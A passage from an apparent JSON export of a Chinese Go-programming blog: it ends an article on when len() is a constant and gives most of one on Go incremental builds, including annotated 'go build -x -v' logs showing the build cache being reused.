v is nil)\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        Slice, \u003cspan style=\"color:#f92672\"\u003eor\u003c/span\u003e map: the number of elements \u003cspan style=\"color:#f92672\"\u003ein\u003c/span\u003e v; \u003cspan style=\"color:#66d9ef\"\u003eif\u003c/span\u003e v is nil, len(v) is zero\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#a6e22e\"\u003eString\u003c/span\u003e: the number of bytes \u003cspan style=\"color:#f92672\"\u003ein\u003c/span\u003e v\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        Channel: the number of elements queued (unread) \u003cspan style=\"color:#f92672\"\u003ein\u003c/span\u003e the channel buffer;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                 \u003cspan style=\"color:#66d9ef\"\u003eif\u003c/span\u003e v is nil, len(v) is zero\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    For some arguments, such as a string literal \u003cspan style=\"color:#f92672\"\u003eor\u003c/span\u003e a simple array expression,\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    the result can be a constant\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003e See the Go language specification\u003cspan style=\"color:#e6db74\"\u003e\u0026#39;s \u0026#34;Length\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003eand\u003c/span\u003e capacity\u003cspan style=\"color:#e6db74\"\u003e\u0026#34; section for details.\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e对于len函数，即便是Go初学者也不会陌生，因为在日常Go开发中，len是一个高频使用的函数。len的参数主要是复合数据类型的变量，比如数组(包括执行数组的指针类型)、切片、字符串、channel等，返回的结果是这些复合数据变量的长度(length)，是一个int类型的值。太多细节我就不说了，大家可能也都很熟悉。我要说的是，关于len函数的一个大家可能不熟悉的或不太在意的地方，那就是len(s)表达式在什么时候的求值结果为一个常量(constant)，什么时候的求值结果为变量。别忽视这个细节，这很可能让你的程序输出你意想不到的结果，下面我就来举例说明。\u003c/p\u003e","title":"len(s)表达式的求值结果究竟是常量还是变量？我来告诉你"},{"content":"\n本文永久链接 – https://tonybai.com/2022/03/21/go-native-support-incremental-build\nGo语言以编译速度快闻名于码农界。这缘于Go在设计之初就选择抛弃其祖辈C语言的头文件包含机制，选择了以包(package)作为基本编译单元。Go语言的这种以包为基本构建单元的构建模型使得依赖分析变得十分简单，避免了C语言那种通过头文件分析依赖的巨大开销。在我的《Go语言精进之路》一书中，我也给出了Go编译速度快的三点具体原因，包括：\nGo要求每个源文件在开头处显式地列出所有依赖的包导入，这样Go编译器不必读取和处理整个文件就可以确定其依赖的包列表； Go要求包之间不能存在循环依赖，这样一个包的依赖关系便形成了一张有向无环图。由于无环，包可以被单独编译，也可以并行编译； 已编译的Go包对应的目标文件(file_name.o或package_name.a)中不仅记录了该包本身的导出符号信息，还记录了其所依赖包的导出符号信息。这样，Go编译器在编译某包P时，针对P依赖的每个包导入(比如：导入包Q)，只需读取一个目标文件即可（比如：Q包编译成的目标文件，该目标文件中已经包含了Q包的依赖包的导出信息），而无需再读取其他文件中的信息了。 不过近期有读者问到：Go是否支持增量构建(incremental build)？这是一个好问题，书中并未提到这方面内容。但语言编译器编译速度再快，如果没有增量构建，构建大型代码工程的时间也不会短。那么Go是否支持增量构建呢？在这篇文章中，我就来告诉你答案。\n1. 什么是增量构建？ 提到构建(build)，我们通常所指的是静态编译型语言，比如：C、Go、Java等。Python等动态语言不需要构建，直接用解释器run即可。每种静态编译型编程语言通常都有自己的编译单元，比如Go的编译单元为一个package，c/c++的编译单元是一个c/c++源文件，java则以class为编译单元等。静态语言的构建就是将编译单元的源码编译为对应的中间目标文件(.o/.a/.class)，然后将这些目标文件通过链接器链接在一起形成最终可执行文件的过程。不过Java除外，java在编译过程没有链接环节，jvm加载class文件时会有一个链接过程。\n那么问题来了：每次项目构建，项目中的所有源文件都要被重新编译一遍而形成新的中间目标文件吗？如果我只改动了一个源文件中的几行代码，项目中的其他源文件也要跟着重新编译一遍么？我们显然不希望这样浪费算力、浪费开发者时间的事情发生！\n为了避免这样的事情发生，“增量构建”被提了出来。简单来说就是每次构建仅重新编译变动了的编译单元以及对这些变动的编译单元有依赖的编译单元的源码！\n上图展示了一个项目的编译单元的依赖关系。当开发人员修改了编译单元C的源码后，如果该项目支持增量编译，那么再次构建这个项目时，仅变动的编译单元C的源码以及直接依赖C的B、间接依赖C的A会被重新编译，而D、E两个编译单元不会被重新编译，其中间目标文件会被链接器重用。\n对增量编译的支持，有两种策略：一种是编程语言的编译器自身就支持，比如Rust。另外一种则是语言自身编译器不支持，需要通过第三方项目构建管理工具协助实现，最典型的就是C/C++与Make/CMake的组合。\n那么Go语言的编译器go compiler(gc)是否本身就支持增量编译呢？是否需要通过外部项目构建管理工具协助呢？我们继续往下看。\n2. 通过示例看Go是否支持增量构建 Go语言提供了统一的go工具链，在这个工具链中用于构建的命令只有一个，那就是go build。下面我们就通过一系列实例来验证一下Go是否原生支持增量构建。\n该示例的项目结构如下：\ndemo1/ ├── go.mod ├── main.go ├── pkg1/ │ └── pkg1.go └── pkg2/ └── pkg2.go a) 首次构建 在这个项目中，顶层的module为demo1，main包依赖pkg1包与pkg2包。我们先通过go build命令对该项目做首次构建，我们通过命令行参数-x -v输出构建的详细日志，以便于我们分析：\n$go build -x -v ### 笔者注：创建临时目录用于此次构建 WORK=/var/folders/cz/sbj5kg2d3m3c6j650z0qfm800000gn/T/go-build1907281507 cd /Users/tonybai/test/go git status --porcelain cd /Users/tonybai/test/go git show -s --no-show-signature --format=%H:%ct demo1/pkg2 demo1/pkg1 mkdir -p $WORK/b003/ mkdir -p $WORK/b002/ cat \u0026gt;$WORK/b003/importcfg \u0026lt;\u0026lt; \u0026#39;EOF\u0026#39; # internal # import config EOF ### 笔者注：编译demo1/pkg1和demo1/pkg2包 cd /Users/tonybai/test/go/incremental-build/demo1 /Users/tonybai/.bin/go1.18rc1/pkg/tool/darwin_amd64/compile -o $WORK/b003/_pkg_.a -trimpath \u0026#34;$WORK/b003=\u0026gt;\u0026#34; -p demo1/pkg2 -lang=go1.18 -complete -buildid 4ixic55Fpug9OyS7vsew/4ixic55Fpug9OyS7vsew -goversion go1.18rc1 -c=4 -nolocalimports -importcfg $WORK/b003/importcfg -pack ./pkg2/pkg2.go cat \u0026gt;$WORK/b002/importcfg \u0026lt;\u0026lt; \u0026#39;EOF\u0026#39; # internal # import config EOF /Users/tonybai/.bin/go1.18rc1/pkg/tool/darwin_amd64/compile -o $WORK/b002/_pkg_.a -trimpath \u0026#34;$WORK/b002=\u0026gt;\u0026#34; -p demo1/pkg1 -lang=go1.18 -complete -buildid jgyT36iBuu6-dYIzK5SD/jgyT36iBuu6-dYIzK5SD -goversion go1.18rc1 -c=4 -nolocalimports -importcfg $WORK/b002/importcfg -pack ./pkg1/pkg1.go /Users/tonybai/.bin/go1.18rc1/pkg/tool/darwin_amd64/buildid -w $WORK/b003/_pkg_.a # internal /Users/tonybai/.bin/go1.18rc1/pkg/tool/darwin_amd64/buildid -w $WORK/b002/_pkg_.a # internal ### 笔者注：将编译demo1/pkg1和demo1/pkg2包得到的目标文件缓存到gocache中 cp $WORK/b003/_pkg_.a /Users/tonybai/Library/Caches/go-build/fe/fef7890aa0cf3bb97e872d2b49cd834a5fad87cd5d8bf052dca65e4cecb541d2-d # internal cp $WORK/b002/_pkg_.a /Users/tonybai/Library/Caches/go-build/24/24519941f74b316c8e83f2d2462b62370692c5f56b04ec3df97e3124ff8b4633-d # internal runtime mkdir -p $WORK/b004/ cat \u0026gt;$WORK/b004/go_asm.h \u0026lt;\u0026lt; \u0026#39;EOF\u0026#39; # internal EOF cd /Users/tonybai/.bin/go1.18rc1/src/runtime /Users/tonybai/.bin/go1.18rc1/pkg/tool/darwin_amd64/asm -p runtime -trimpath \u0026#34;$WORK/b004=\u0026gt;\u0026#34; -I $WORK/b004/ -I /Users/tonybai/.bin/go1.18rc1/pkg/include -D GOOS_darwin -D GOARCH_amd64 -compiling-runtime -D GOAMD64_v1 -gensymabis -o $WORK/b004/symabis ./asm.s ./asm_amd64.s ./duff_amd64.s ./memclr_amd64.s ./memmove_amd64.s ./preempt_amd64.s ./rt0_darwin_amd64.s ./sys_darwin_amd64.s cat \u0026gt;$WORK/b004/importcfg \u0026lt;\u0026lt; \u0026#39;EOF\u0026#39; # internal # import config packagefile internal/abi=/Users/tonybai/.bin/go1.18rc1/pkg/darwin_amd64/internal/abi.a packagefile internal/bytealg=/Users/tonybai/.bin/go1.18rc1/pkg/darwin_amd64/internal/bytealg.a packagefile internal/cpu=/Users/tonybai/.bin/go1.18rc1/pkg/darwin_amd64/internal/cpu.a packagefile internal/goarch=/Users/tonybai/.bin/go1.18rc1/pkg/darwin_amd64/internal/goarch.a packagefile internal/goexperiment=/Users/tonybai/.bin/go1.18rc1/pkg/darwin_amd64/internal/goexperiment.a packagefile internal/goos=/Users/tonybai/.bin/go1.18rc1/pkg/darwin_amd64/internal/goos.a packagefile runtime/internal/atomic=/Users/tonybai/.bin/go1.18rc1/pkg/darwin_amd64/runtime/internal/atomic.a packagefile runtime/internal/math=/Users/tonybai/.bin/go1.18rc1/pkg/darwin_amd64/runtime/internal/math.a packagefile runtime/internal/sys=/Users/tonybai/.bin/go1.18rc1/pkg/darwin_amd64/runtime/internal/sys.a EOF ### 笔者注：由于笔者在执行build前使用go clean -cache将所有cache清空，因此这里go build会重新编译Go运行时库并缓存到gocache中 cd /Users/tonybai/test/go/incremental-build/demo1 /Users/tonybai/.bin/go1.18rc1/pkg/tool/darwin_amd64/compile -o $WORK/b004/_pkg_.a -trimpath \u0026#34;$WORK/b004=\u0026gt;\u0026#34; -p runtime -std -+ -buildid cjuCOFTfsWmpOEnkAPsP/cjuCOFTfsWmpOEnkAPsP -goversion go1.18rc1 -symabis $WORK/b004/symabis -c=4 -nolocalimports -importcfg $WORK/b004/importcfg -pack -asmhdr $WORK/b004/go_asm.h /Users/tonybai/.bin/go1.18rc1/src/runtime/alg.go /Users/tonybai/.bin/go1.18rc1/src/runtime/asan0.go /Users/tonybai/.bin/go1.18rc1/src/runtime/atomic_pointer.go /Users/tonybai/.bin/go1.18rc1/src/runtime/cgo.go /Users/tonybai/.bin/go1.18rc1/src/runtime/cgocall.go /Users/tonybai/.bin/go1.18rc1/src/runtime/cgocallback.go /Users/tonybai/.bin/go1.18rc1/src/runtime/cgocheck.go /Users/tonybai/.bin/go1.18rc1/src/runtime/chan.go /Users/tonybai/.bin/go1.18rc1/src/runtime/checkptr.go /Users/tonybai/.bin/go1.18rc1/src/runtime/compiler.go /Users/tonybai/.bin/go1.18rc1/src/runtime/complex.go /Users/tonybai/.bin/go1.18rc1/src/runtime/cpuflags.go /Users/tonybai/.bin/go1.18rc1/src/runtime/cpuflags_amd64.go /Users/tonybai/.bin/go1.18rc1/src/runtime/cpuprof.go /Users/tonybai/.bin/go1.18rc1/src/runtime/cputicks.go /Users/tonybai/.bin/go1.18rc1/src/runtime/debug.go /Users/tonybai/.bin/go1.18rc1/src/runtime/debugcall.go /Users/tonybai/.bin/go1.18rc1/src/runtime/debuglog.go /Users/tonybai/.bin/go1.18rc1/src/runtime/debuglog_off.go /Users/tonybai/.bin/go1.18rc1/src/runtime/defs_darwin_amd64.go /Users/tonybai/.bin/go1.18rc1/src/runtime/env_posix.go /Users/tonybai/.bin/go1.18rc1/src/runtime/error.go /Users/tonybai/.bin/go1.18rc1/src/runtime/extern.go /Users/tonybai/.bin/go1.18rc1/src/runtime/fastlog2.go /Users/tonybai/.bin/go1.18rc1/src/runtime/fastlog2table.go /Users/tonybai/.bin/go1.18rc1/src/runtime/float.go /Users/tonybai/.bin/go1.18rc1/src/runtime/hash64.go /Users/tonybai/.bin/go1.18rc1/src/runtime/heapdump.go /Users/tonybai/.bin/go1.18rc1/src/runtime/histogram.go /Users/tonybai/.bin/go1.18rc1/src/runtime/iface.go /Users/tonybai/.bin/go1.18rc1/src/runtime/lfstack.go /Users/tonybai/.bin/go1.18rc1/src/runtime/lfstack_64bit.go /Users/tonybai/.bin/go1.18rc1/src/runtime/lock_sema.go /Users/tonybai/.bin/go1.18rc1/src/runtime/lockrank.go /Users/tonybai/.bin/go1.18rc1/src/runtime/lockrank_off.go /Users/tonybai/.bin/go1.18rc1/src/runtime/malloc.go /Users/tonybai/.bin/go1.18rc1/src/runtime/map.go /Users/tonybai/.bin/go1.18rc1/src/runtime/map_fast32.go /Users/tonybai/.bin/go1.18rc1/src/runtime/map_fast64.go /Users/tonybai/.bin/go1.18rc1/src/runtime/map_faststr.go /Users/tonybai/.bin/go1.18rc1/src/runtime/mbarrier.go /Users/tonybai/.bin/go1.18rc1/src/runtime/mbitmap.go /Users/tonybai/.bin/go1.18rc1/src/runtime/mcache.go /Users/tonybai/.bin/go1.18rc1/src/runtime/mcentral.go /Users/tonybai/.bin/go1.18rc1/src/runtime/mcheckmark.go /Users/tonybai/.bin/go1.18rc1/src/runtime/mem_darwin.go /Users/tonybai/.bin/go1.18rc1/src/runtime/metrics.go /Users/tonybai/.bin/go1.18rc1/src/runtime/mfinal.go /Users/tonybai/.bin/go1.18rc1/src/runtime/mfixalloc.go /Users/tonybai/.bin/go1.18rc1/src/runtime/mgc.go /Users/tonybai/.bin/go1.18rc1/src/runtime/mgcmark.go /Users/tonybai/.bin/go1.18rc1/src/runtime/mgcpacer.go /Users/tonybai/.bin/go1.18rc1/src/runtime/mgcscavenge.go /Users/tonybai/.bin/go1.18rc1/src/runtime/mgcstack.go /Users/tonybai/.bin/go1.18rc1/src/runtime/mgcsweep.go /Users/tonybai/.bin/go1.18rc1/src/runtime/mgcwork.go /Users/tonybai/.bin/go1.18rc1/src/runtime/mheap.go /Users/tonybai/.bin/go1.18rc1/src/runtime/mpagealloc.go /Users/tonybai/.bin/go1.18rc1/src/runtime/mpagealloc_64bit.go /Users/tonybai/.bin/go1.18rc1/src/runtime/mpagecache.go /Users/tonybai/.bin/go1.18rc1/src/runtime/mpallocbits.go /Users/tonybai/.bin/go1.18rc1/src/runtime/mprof.go /Users/tonybai/.bin/go1.18rc1/src/runtime/mranges.go /Users/tonybai/.bin/go1.18rc1/src/runtime/msan0.go /Users/tonybai/.bin/go1.18rc1/src/runtime/msize.go /Users/tonybai/.bin/go1.18rc1/src/runtime/mspanset.go /Users/tonybai/.bin/go1.18rc1/src/runtime/mstats.go /Users/tonybai/.bin/go1.18rc1/src/runtime/mwbbuf.go /Users/tonybai/.bin/go1.18rc1/src/runtime/nbpipe_pipe.go /Users/tonybai/.bin/go1.18rc1/src/runtime/netpoll.go /Users/tonybai/.bin/go1.18rc1/src/runtime/netpoll_kqueue.go /Users/tonybai/.bin/go1.18rc1/src/runtime/os_darwin.go /Users/tonybai/.bin/go1.18rc1/src/runtime/os_nonopenbsd.go /Users/tonybai/.bin/go1.18rc1/src/runtime/panic.go /Users/tonybai/.bin/go1.18rc1/src/runtime/plugin.go /Users/tonybai/.bin/go1.18rc1/src/runtime/preempt.go /Users/tonybai/.bin/go1.18rc1/src/runtime/preempt_nonwindows.go /Users/tonybai/.bin/go1.18rc1/src/runtime/print.go /Users/tonybai/.bin/go1.18rc1/src/runtime/proc.go /Users/tonybai/.bin/go1.18rc1/src/runtime/profbuf.go /Users/tonybai/.bin/go1.18rc1/src/runtime/proflabel.go /Users/tonybai/.bin/go1.18rc1/src/runtime/race0.go /Users/tonybai/.bin/go1.18rc1/src/runtime/rdebug.go /Users/tonybai/.bin/go1.18rc1/src/runtime/relax_stub.go /Users/tonybai/.bin/go1.18rc1/src/runtime/runtime.go /Users/tonybai/.bin/go1.18rc1/src/runtime/runtime1.go /Users/tonybai/.bin/go1.18rc1/src/runtime/runtime2.go /Users/tonybai/.bin/go1.18rc1/src/runtime/rwmutex.go /Users/tonybai/.bin/go1.18rc1/src/runtime/select.go /Users/tonybai/.bin/go1.18rc1/src/runtime/sema.go /Users/tonybai/.bin/go1.18rc1/src/runtime/signal_amd64.go /Users/tonybai/.bin/go1.18rc1/src/runtime/signal_darwin.go /Users/tonybai/.bin/go1.18rc1/src/runtime/signal_darwin_amd64.go /Users/tonybai/.bin/go1.18rc1/src/runtime/signal_unix.go /Users/tonybai/.bin/go1.18rc1/src/runtime/sigqueue.go /Users/tonybai/.bin/go1.18rc1/src/runtime/sizeclasses.go /Users/tonybai/.bin/go1.18rc1/src/runtime/slice.go /Users/tonybai/.bin/go1.18rc1/src/runtime/softfloat64.go /Users/tonybai/.bin/go1.18rc1/src/runtime/stack.go /Users/tonybai/.bin/go1.18rc1/src/runtime/string.go /Users/tonybai/.bin/go1.18rc1/src/runtime/stubs.go /Users/tonybai/.bin/go1.18rc1/src/runtime/stubs_amd64.go /Users/tonybai/.bin/go1.18rc1/src/runtime/stubs_nonlinux.go /Users/tonybai/.bin/go1.18rc1/src/runtime/symtab.go /Users/tonybai/.bin/go1.18rc1/src/runtime/sys_darwin.go /Users/tonybai/.bin/go1.18rc1/src/runtime/sys_libc.go /Users/tonybai/.bin/go1.18rc1/src/runtime/sys_nonppc64x.go /Users/tonybai/.bin/go1.18rc1/src/runtime/sys_x86.go /Users/tonybai/.bin/go1.18rc1/src/runtime/time.go /Users/tonybai/.bin/go1.18rc1/src/runtime/time_nofake.go /Users/tonybai/.bin/go1.18rc1/src/runtime/timestub.go /Users/tonybai/.bin/go1.18rc1/src/runtime/tls_stub.go /Users/tonybai/.bin/go1.18rc1/src/runtime/trace.go /Users/tonybai/.bin/go1.18rc1/src/runtime/traceback.go /Users/tonybai/.bin/go1.18rc1/src/runtime/type.go /Users/tonybai/.bin/go1.18rc1/src/runtime/typekind.go /Users/tonybai/.bin/go1.18rc1/src/runtime/utf8.go /Users/tonybai/.bin/go1.18rc1/src/runtime/vdso_in_none.go /Users/tonybai/.bin/go1.18rc1/src/runtime/write_err.go cd /Users/tonybai/.bin/go1.18rc1/src/runtime /Users/tonybai/.bin/go1.18rc1/pkg/tool/darwin_amd64/asm -p runtime -trimpath \u0026#34;$WORK/b004=\u0026gt;\u0026#34; -I $WORK/b004/ -I /Users/tonybai/.bin/go1.18rc1/pkg/include -D GOOS_darwin -D GOARCH_amd64 -compiling-runtime -D GOAMD64_v1 -o $WORK/b004/asm.o ./asm.s /Users/tonybai/.bin/go1.18rc1/pkg/tool/darwin_amd64/asm -p runtime -trimpath \u0026#34;$WORK/b004=\u0026gt;\u0026#34; -I $WORK/b004/ -I /Users/tonybai/.bin/go1.18rc1/pkg/include -D GOOS_darwin -D GOARCH_amd64 -compiling-runtime -D GOAMD64_v1 -o $WORK/b004/asm_amd64.o ./asm_amd64.s /Users/tonybai/.bin/go1.18rc1/pkg/tool/darwin_amd64/asm -p runtime -trimpath \u0026#34;$WORK/b004=\u0026gt;\u0026#34; -I $WORK/b004/ -I /Users/tonybai/.bin/go1.18rc1/pkg/include -D GOOS_darwin -D GOARCH_amd64 -compiling-runtime -D GOAMD64_v1 -o $WORK/b004/duff_amd64.o ./duff_amd64.s /Users/tonybai/.bin/go1.18rc1/pkg/tool/darwin_amd64/asm -p runtime -trimpath \u0026#34;$WORK/b004=\u0026gt;\u0026#34; -I $WORK/b004/ -I /Users/tonybai/.bin/go1.18rc1/pkg/include -D GOOS_darwin -D GOARCH_amd64 -compiling-runtime -D GOAMD64_v1 -o $WORK/b004/memclr_amd64.o ./memclr_amd64.s /Users/tonybai/.bin/go1.18rc1/pkg/tool/darwin_amd64/asm -p runtime -trimpath \u0026#34;$WORK/b004=\u0026gt;\u0026#34; -I $WORK/b004/ -I /Users/tonybai/.bin/go1.18rc1/pkg/include -D GOOS_darwin -D GOARCH_amd64 -compiling-runtime -D GOAMD64_v1 -o $WORK/b004/memmove_amd64.o ./memmove_amd64.s /Users/tonybai/.bin/go1.18rc1/pkg/tool/darwin_amd64/asm -p runtime -trimpath \u0026#34;$WORK/b004=\u0026gt;\u0026#34; -I $WORK/b004/ -I /Users/tonybai/.bin/go1.18rc1/pkg/include -D GOOS_darwin -D GOARCH_amd64 -compiling-runtime -D GOAMD64_v1 -o $WORK/b004/preempt_amd64.o ./preempt_amd64.s /Users/tonybai/.bin/go1.18rc1/pkg/tool/darwin_amd64/asm -p runtime -trimpath \u0026#34;$WORK/b004=\u0026gt;\u0026#34; -I $WORK/b004/ -I /Users/tonybai/.bin/go1.18rc1/pkg/include -D GOOS_darwin -D GOARCH_amd64 -compiling-runtime -D GOAMD64_v1 -o $WORK/b004/rt0_darwin_amd64.o ./rt0_darwin_amd64.s /Users/tonybai/.bin/go1.18rc1/pkg/tool/darwin_amd64/asm -p runtime -trimpath \u0026#34;$WORK/b004=\u0026gt;\u0026#34; -I $WORK/b004/ -I /Users/tonybai/.bin/go1.18rc1/pkg/include -D GOOS_darwin -D GOARCH_amd64 -compiling-runtime -D GOAMD64_v1 -o $WORK/b004/sys_darwin_amd64.o ./sys_darwin_amd64.s /Users/tonybai/.bin/go1.18rc1/pkg/tool/darwin_amd64/pack r $WORK/b004/_pkg_.a $WORK/b004/asm.o $WORK/b004/asm_amd64.o $WORK/b004/duff_amd64.o $WORK/b004/memclr_amd64.o $WORK/b004/memmove_amd64.o $WORK/b004/preempt_amd64.o $WORK/b004/rt0_darwin_amd64.o $WORK/b004/sys_darwin_amd64.o # internal /Users/tonybai/.bin/go1.18rc1/pkg/tool/darwin_amd64/buildid -w $WORK/b004/_pkg_.a # internal cp $WORK/b004/_pkg_.a /Users/tonybai/Library/Caches/go-build/0e/0e28018e12d646c32443e88953b839c7ba0be3198e6a61afc8a74c0b3e76696a-d # internal demo1 mkdir -p $WORK/b001/ cat \u0026gt;$WORK/b001/importcfg \u0026lt;\u0026lt; \u0026#39;EOF\u0026#39; # internal # import config packagefile demo1/pkg1=$WORK/b002/_pkg_.a packagefile demo1/pkg2=$WORK/b003/_pkg_.a packagefile runtime=$WORK/b004/_pkg_.a EOF ### 笔者注：编译main包并缓存 cd /Users/tonybai/test/go/incremental-build/demo1 /Users/tonybai/.bin/go1.18rc1/pkg/tool/darwin_amd64/compile -o $WORK/b001/_pkg_.a -trimpath \u0026#34;$WORK/b001=\u0026gt;\u0026#34; -p main -lang=go1.18 -complete -buildid ZhPqHmBh6WQ6HFsDI1Yh/ZhPqHmBh6WQ6HFsDI1Yh -goversion go1.18rc1 -c=4 -nolocalimports -importcfg $WORK/b001/importcfg -pack ./main.go /Users/tonybai/.bin/go1.18rc1/pkg/tool/darwin_amd64/buildid -w $WORK/b001/_pkg_.a # internal cp $WORK/b001/_pkg_.a /Users/tonybai/Library/Caches/go-build/e8/e86257379cbdd59856f799594b63f3bb33ae89011955fee50e6fe90d3809ce5a-d # internal cat \u0026gt;$WORK/b001/importcfg.link \u0026lt;\u0026lt; \u0026#39;EOF\u0026#39; # internal packagefile demo1=$WORK/b001/_pkg_.a packagefile demo1/pkg1=$WORK/b002/_pkg_.a packagefile demo1/pkg2=$WORK/b003/_pkg_.a packagefile runtime=$WORK/b004/_pkg_.a packagefile internal/abi=/Users/tonybai/.bin/go1.18rc1/pkg/darwin_amd64/internal/abi.a packagefile internal/bytealg=/Users/tonybai/.bin/go1.18rc1/pkg/darwin_amd64/internal/bytealg.a packagefile internal/cpu=/Users/tonybai/.bin/go1.18rc1/pkg/darwin_amd64/internal/cpu.a packagefile internal/goarch=/Users/tonybai/.bin/go1.18rc1/pkg/darwin_amd64/internal/goarch.a packagefile internal/goexperiment=/Users/tonybai/.bin/go1.18rc1/pkg/darwin_amd64/internal/goexperiment.a packagefile internal/goos=/Users/tonybai/.bin/go1.18rc1/pkg/darwin_amd64/internal/goos.a packagefile runtime/internal/atomic=/Users/tonybai/.bin/go1.18rc1/pkg/darwin_amd64/runtime/internal/atomic.a packagefile runtime/internal/math=/Users/tonybai/.bin/go1.18rc1/pkg/darwin_amd64/runtime/internal/math.a packagefile runtime/internal/sys=/Users/tonybai/.bin/go1.18rc1/pkg/darwin_amd64/runtime/internal/sys.a modinfo \u0026#34;0w\\xaf\\f\\x92t\\b\\x02A\\xe1\\xc1\\a\\xe6\\xd6\\x18\\xe6path\\tdemo1\\nmod\\tdemo1\\t(devel)\\t\\nbuild\\t-compiler=gc\\nbuild\\tCGO_ENABLED=1\\nbuild\\tCGO_CFLAGS=\\nbuild\\tCGO_CPPFLAGS=\\nbuild\\tCGO_CXXFLAGS=\\nbuild\\tCGO_LDFLAGS=\\nbuild\\tGOARCH=amd64\\nbuild\\tGOOS=darwin\\nbuild\\tGOAMD64=v1\\nbuild\\tvcs=git\\nbuild\\tvcs.revision=6534186d4b5b80c6c056237191fc703fa99cd19e\\nbuild\\tvcs.time=2022-03-12T13:52:57Z\\nbuild\\tvcs.modified=true\\n\\xf92C1\\x86\\x18 r\\x00\\x82B\\x10A\\x16\\xd8\\xf2\u0026#34; EOF mkdir -p $WORK/b001/exe/ cd . ### 笔者注：执行链接过程 /Users/tonybai/.bin/go1.18rc1/pkg/tool/darwin_amd64/link -o $WORK/b001/exe/a.out -importcfg $WORK/b001/importcfg.link -buildmode=exe -buildid=mzN3WRwHiNhsESy6r89L/ZhPqHmBh6WQ6HFsDI1Yh/Nvx0U2gM2zWzj7FTESXk/mzN3WRwHiNhsESy6r89L -extld=clang $WORK/b001/_pkg_.a /Users/tonybai/.bin/go1.18rc1/pkg/tool/darwin_amd64/buildid -w $WORK/b001/exe/a.out # internal ### 笔者注：将构建出来的可执行文件放到正确位置并改名 mv $WORK/b001/exe/a.out demo1 rm -r $WORK/b001/ b) 删除可执行文件后，再次构建 接下来我们删除之前构建出来的可执行文件demo1，然后再执行一次go build：\n$go build -x -v WORK=/var/folders/cz/sbj5kg2d3m3c6j650z0qfm800000gn/T/go-build3889005616 cd /Users/tonybai/test/go git status --porcelain cd /Users/tonybai/test/go git show -s --no-show-signature --format=%H:%ct mkdir -p $WORK/b001/ cat \u0026gt;$WORK/b001/importcfg.link \u0026lt;\u0026lt; \u0026#39;EOF\u0026#39; # internal ### 笔者注：这次构建直接使用了上一次缓存的各个包的缓存结果 packagefile demo1=/Users/tonybai/Library/Caches/go-build/e8/e86257379cbdd59856f799594b63f3bb33ae89011955fee50e6fe90d3809ce5a-d packagefile demo1/pkg1=/Users/tonybai/Library/Caches/go-build/24/24519941f74b316c8e83f2d2462b62370692c5f56b04ec3df97e3124ff8b4633-d packagefile demo1/pkg2=/Users/tonybai/Library/Caches/go-build/fe/fef7890aa0cf3bb97e872d2b49cd834a5fad87cd5d8bf052dca65e4cecb541d2-d packagefile runtime=/Users/tonybai/Library/Caches/go-build/0e/0e28018e12d646c32443e88953b839c7ba0be3198e6a61afc8a74c0b3e76696a-d packagefile internal/abi=/Users/tonybai/.bin/go1.18rc1/pkg/darwin_amd64/internal/abi.a packagefile internal/bytealg=/Users/tonybai/.bin/go1.18rc1/pkg/darwin_amd64/internal/bytealg.a packagefile internal/cpu=/Users/tonybai/.bin/go1.18rc1/pkg/darwin_amd64/internal/cpu.a packagefile internal/goarch=/Users/tonybai/.bin/go1.18rc1/pkg/darwin_amd64/internal/goarch.a packagefile internal/goexperiment=/Users/tonybai/.bin/go1.18rc1/pkg/darwin_amd64/internal/goexperiment.a packagefile internal/goos=/Users/tonybai/.bin/go1.18rc1/pkg/darwin_amd64/internal/goos.a packagefile runtime/internal/atomic=/Users/tonybai/.bin/go1.18rc1/pkg/darwin_amd64/runtime/internal/atomic.a packagefile runtime/internal/math=/Users/tonybai/.bin/go1.18rc1/pkg/darwin_amd64/runtime/internal/math.a packagefile runtime/internal/sys=/Users/tonybai/.bin/go1.18rc1/pkg/darwin_amd64/runtime/internal/sys.a modinfo \u0026#34;0w\\xaf\\f\\x92t\\b\\x02A\\xe1\\xc1\\a\\xe6\\xd6\\x18\\xe6path\\tdemo1\\nmod\\tdemo1\\t(devel)\\t\\nbuild\\t-compiler=gc\\nbuild\\tCGO_ENABLED=1\\nbuild\\tCGO_CFLAGS=\\nbuild\\tCGO_CPPFLAGS=\\nbuild\\tCGO_CXXFLAGS=\\nbuild\\tCGO_LDFLAGS=\\nbuild\\tGOARCH=amd64\\nbuild\\tGOOS=darwin\\nbuild\\tGOAMD64=v1\\nbuild\\tvcs=git\\nbuild\\tvcs.revision=6534186d4b5b80c6c056237191fc703fa99cd19e\\nbuild\\tvcs.time=2022-03-12T13:52:57Z\\nbuild\\tvcs.modified=true\\n\\xf92C1\\x86\\x18 r\\x00\\x82B\\x10A\\x16\\xd8\\xf2\u0026#34; EOF mkdir -p $WORK/b001/exe/ cd . /Users/tonybai/.bin/go1.18rc1/pkg/tool/darwin_amd64/link -o $WORK/b001/exe/a.out -importcfg $WORK/b001/importcfg.link -buildmode=exe -buildid=mzN3WRwHiNhsESy6r89L/ZhPqHmBh6WQ6HFsDI1Yh/Nvx0U2gM2zWzj7FTESXk/mzN3WRwHiNhsESy6r89L -extld=clang 